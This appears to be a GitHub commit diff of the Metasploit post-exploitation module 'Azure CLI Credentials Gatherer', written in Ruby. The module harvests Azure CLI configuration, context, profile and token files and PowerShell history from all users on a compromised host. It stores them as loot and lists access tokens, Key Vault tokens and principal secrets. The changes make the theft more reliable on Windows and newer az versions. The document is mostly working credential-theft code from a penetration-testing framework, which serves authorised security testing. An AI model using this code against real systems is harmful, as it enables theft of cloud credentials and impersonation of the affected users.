1
1
##
2
- # This module requires Metasploit: http ://metasploit.com/download
2
+ # This module requires Metasploit: https ://metasploit.com/download
3
3
# Current source: https://github.com/rapid7/metasploit-framework
4
4
##
5
5
@@ -15,7 +15,7 @@ def initialize(info = {})
15
15
info ,
16
16
'Name' => 'Azure CLI Credentials Gatherer' ,
17
17
'Description' => %q{
18
- This module will collect the Azure CLI 2.0 (az cli) settings files
18
+ This module will collect the Azure CLI 2.0+ (az cli) settings files
19
19
for all users on a given target. These configuration files contain
20
20
JWT tokens used to authenticate users and other subscription information.
21
21
Once tokens are stolen from one host, they can be used to impersonate
@@ -38,13 +38,14 @@ def initialize(info = {})
38
38
end
39
39
40
40
def parse_json ( data )
41
+ data . strip!
42
+ # remove BOM, https://www.qvera.com/kb/index.php/2410/csv-file-the-start-the-first-header-column-name-can-remove-this
43
+ data . gsub! ( "\xEF \xBB \xBF " , '' )
41
44
json_blob = nil
42
- options = { invalid : :replace , undef : :replace , replace : '' }
43
- str . encode ( Encoding . find ( 'ASCII' ) , options )
44
45
begin
45
46
json_blob = JSON . parse ( data )
46
- rescue ::JSON ::ParserError
47
- print_error ( ' Unable to parse json blob' )
47
+ rescue ::JSON ::ParserError => e
48
+ print_error ( " Unable to parse json blob: #{ e } " )
48
49
end
49
50
json_blob
50
51
end
@@ -63,7 +64,18 @@ def user_dirs
63
64
user_dirs
64
65
end
65
66
67
+ def get_az_version
68
+ command = 'az --version'
69
+ command = "powershell.exe #{ command } " if session . platform == 'windows'
70
+ version_output = cmd_exec ( command , 60 )
71
+ version_output . match ( /azure-cli \( (.*)\) / )
72
+ end
73
+
66
74
def run
75
+ version = get_az_version
76
+ unless version . nil?
77
+ print_status ( "az cli version: #{ version [ 1 ] } " )
78
+ end
67
79
profile_table = Rex ::Text ::Table . new (
68
80
'Header' => 'Subscriptions' ,
69
81
'Indent' => 1 ,
@@ -77,7 +89,7 @@ def run
77
89
context_table = Rex ::Text ::Table . new (
78
90
'Header' => 'Context' ,
79
91
'Indent' => 1 ,
80
- 'Columns' => [ 'Username' , 'Account Type' , 'Access Token' , 'Graph Access Token' , 'MS Graph Access Token' , 'Key Vault Token' ]
92
+ 'Columns' => [ 'Username' , 'Account Type' , 'Access Token' , 'Graph Access Token' , 'MS Graph Access Token' , 'Key Vault Token' , 'Principal Secret' ]
81
93
)
82
94
83
95
user_dirs . map do |user_directory |
@@ -86,9 +98,12 @@ def run
86
98
87
99
# ini file content, not json.
88
100
vprint_status ( ' Checking for config files' )
89
- %w[ .azure/config . Azure/ config] . each do |file_location |
101
+ %w[ .Azure\ config ] . each do |file_location |
90
102
possible_location = ::File . join ( user_directory , file_location )
91
- next unless readable? ( possible_location )
103
+ next unless exists? ( possible_location )
104
+
105
+ # we would prefer readable?, but windows doesn't support it, so avoiding
106
+ # an extra code branch, just handle read errors later on
92
107
93
108
data = read_file ( possible_location )
94
109
next unless data
@@ -99,33 +114,37 @@ def run
99
114
end
100
115
101
116
vprint_status ( ' Checking for context files' )
102
- %w[ .azure/AzureRmContext.json . Azure/AzureRmContext.json] . each do |file_location |
117
+ %w[ .Azure/AzureRmContext.json ] . each do |file_location |
103
118
possible_location = ::File . join ( user_directory , file_location )
104
- next unless readable ?( possible_location )
119
+ next unless exists ?( possible_location )
105
120
106
121
data = read_file ( possible_location )
107
122
next unless data
108
123
109
124
loot = store_loot 'azure.context.json' , 'text/json' , session , data , file_location , 'Azure CLI Context'
110
125
print_good " #{ file_location } stored in #{ loot } "
111
126
data = parse_json ( data )
127
+ next if data . nil?
128
+
112
129
results = process_context_contents ( data )
113
130
results . each do |result |
114
131
context_table << result
115
132
end
116
133
end
117
134
118
135
vprint_status ( ' Checking for profile files' )
119
- %w[ .azure/azureProfile.json . Azure/azureProfile.json] . each do |file_location |
136
+ %w[ .Azure/azureProfile.json ] . each do |file_location |
120
137
possible_location = ::File . join ( user_directory , file_location )
121
- next unless readable ?( possible_location )
138
+ next unless exists ?( possible_location )
122
139
123
140
data = read_file ( possible_location )
124
141
next unless data
125
142
126
143
loot = store_loot 'azure.profile.json' , 'text/json' , session , data , file_location , 'Azure CLI Profile'
127
144
print_good " #{ file_location } stored in #{ loot } "
128
145
data = parse_json ( data )
146
+ next if data . nil?
147
+
129
148
results = process_profile_file ( data )
130
149
results . each do |result |
131
150
profile_table << result
@@ -134,7 +153,7 @@ def run
134
153
135
154
%w[ .azure/accessTokens.json ] . each do |file_location |
136
155
possible_location = ::File . join ( user_directory , file_location )
137
- next unless readable ?( possible_location )
156
+ next unless exists ?( possible_location )
138
157
139
158
data = read_file ( possible_location )
140
159
next unless data
@@ -152,10 +171,9 @@ def run
152
171
if session . platform == 'windows'
153
172
vprint_status ( ' Checking for console history files' )
154
173
[ '%USERPROFILE%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt' ] . each do |file_location |
155
- possible_location = ::File . join ( user_directory , file_location )
156
- next unless readable? ( possible_location )
174
+ next unless exists? ( file_location )
157
175
158
- data = read_file ( possible_location )
176
+ data = read_file ( file_location )
159
177
next unless data
160
178
161
179
loot = store_loot 'azure.console_history.txt' , 'text/plain' , session , data , file_location , 'Azure CLI Profile'
0 commit comments